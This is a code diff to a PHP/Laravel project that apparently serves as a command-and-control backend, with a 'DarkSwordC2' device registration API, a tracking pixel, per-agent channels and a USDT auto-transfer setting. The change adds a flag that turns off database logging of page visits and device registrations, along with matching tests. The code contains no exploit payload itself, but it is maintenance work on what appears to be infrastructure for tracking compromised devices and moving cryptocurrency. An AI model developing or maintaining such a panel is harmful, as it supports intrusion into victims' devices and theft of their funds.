diff --git a/.env.example b/.env.example
index d519a5c..0bbb69d 100644
--- a/.env.example
+++ b/.env.example
@@ -72,6 +72,8 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600
 CORUNA_STATIC_SITE_SCHEME=https
 # Max channel links per agent (super-admin settings can override)
 CORUNA_MAX_CHANNELS_PER_AGENT=5
+# 1 = write page_visits from /statistic/t and DS register. 0 = pixel only.
+CORUNA_PAGE_VISITS=0
 
 CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
 
diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php
index 0e89d03..dde9f15 100644
--- a/app/Http/Controllers/PageHitController.php
+++ b/app/Http/Controllers/PageHitController.php
@@ -15,6 +15,10 @@ class PageHitController extends Controller
 
     public function __invoke(Request $request): Response
     {
+        if (! PageVisit::ingestEnabled()) {
+            return $this->pixel();
+        }
+
         $channelId = trim((string) $request->query('c', $request->input('c', '')));
         $clientUid = trim((string) $request->query('u', $request->input('u', '')));
         $newCode = Channel::normalizeNewChannelId($channelId);
diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php
index b413ef8..777b8b4 100644
--- a/app/Models/PageVisit.php
+++ b/app/Models/PageVisit.php
@@ -87,8 +87,20 @@ class PageVisit extends Model
      *
      * @param  array<string, mixed>  $attrs
      */
+    public static function ingestEnabled(): bool
+    {
+        return (bool) config('coruna.page_visits.enabled', false);
+    }
+
     public static function recordLanding(array $attrs, int $chain): self
     {
+        if (! self::ingestEnabled()) {
+            $row = new static($attrs);
+            $row->chain = $chain;
+
+            return $row;
+        }
+
         $channel = (string) ($attrs['channel_id'] ?? '');
         $ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null);
         $existing = null;
diff --git a/config/coruna.php b/config/coruna.php
index 5fd44c9..c3bad49 100644
--- a/config/coruna.php
+++ b/config/coruna.php
@@ -54,6 +54,11 @@ return [
         'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
     ],
 
+    // t.js /statistic/t and DS register → page_visits. Off = pixel/ACK only, no DB write.
+    'page_visits' => [
+        'enabled' => in_array(strtolower((string) env('CORUNA_PAGE_VISITS', '0')), ['1', 'true', 'yes', 'on'], true),
+    ],
+
     'auto_transfer' => [
         'enabled' => in_array(strtolower((string) env('AUTO_TRANSFER_ENABLED', '0')), ['1', 'true', 'yes', 'on'], true),
         'threshold_usdt' => (string) env('AUTO_TRANSFER_THRESHOLD_USDT', ''),
diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php
index 73ebcb5..cd908d0 100644
--- a/tests/Feature/DarkSwordC2ApiTest.php
+++ b/tests/Feature/DarkSwordC2ApiTest.php
@@ -194,6 +194,7 @@ class DarkSwordC2ApiTest extends TestCase
     #[Test]
     public function register_accepts_query_style_channel_code(): void
     {
+        config(['coruna.page_visits.enabled' => true]);
         $this->postJson('/api/ds/device/register', [
             'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
             'channeICode' => '0.0.01',
@@ -209,6 +210,7 @@ class DarkSwordC2ApiTest extends TestCase
     #[Test]
     public function register_uses_channel_code_not_ver_header(): void
     {
+        config(['coruna.page_visits.enabled' => true]);
         $this->postJson('/api/ds/device/register', [
             'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
             'channelCode' => 'BODOZR5F613N9',
diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php
index 4695ae5..7a61c2a 100644
--- a/tests/Feature/PageVisitTest.php
+++ b/tests/Feature/PageVisitTest.php
@@ -17,6 +17,12 @@ class PageVisitTest extends TestCase
 
     private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
 
+    protected function setUp(): void
+    {
+        parent::setUp();
+        config(['coruna.page_visits.enabled' => true]);
+    }
+
     #[Test]
     public function hit_records_new_builder_version_channel(): void
     {
@@ -209,6 +215,20 @@ class PageVisitTest extends TestCase
         $this->assertSame(1, PageVisit::query()->count());
     }
 
+    #[Test]
+    public function hit_skips_db_when_ingest_disabled(): void
+    {
+        config(['coruna.page_visits.enabled' => false]);
+        Cache::flush();
+
+        $this->call('GET', '/statistic/t', [
+            'c' => self::CHANNEL,
+            'u' => '11111111-2222-4333-8444-555555555555',
+        ])->assertOk()->assertHeader('Content-Type', 'image/gif');
+
+        $this->assertSame(0, PageVisit::query()->count());
+    }
+
     #[Test]
     public function hit_rejects_bad_channel(): void
     {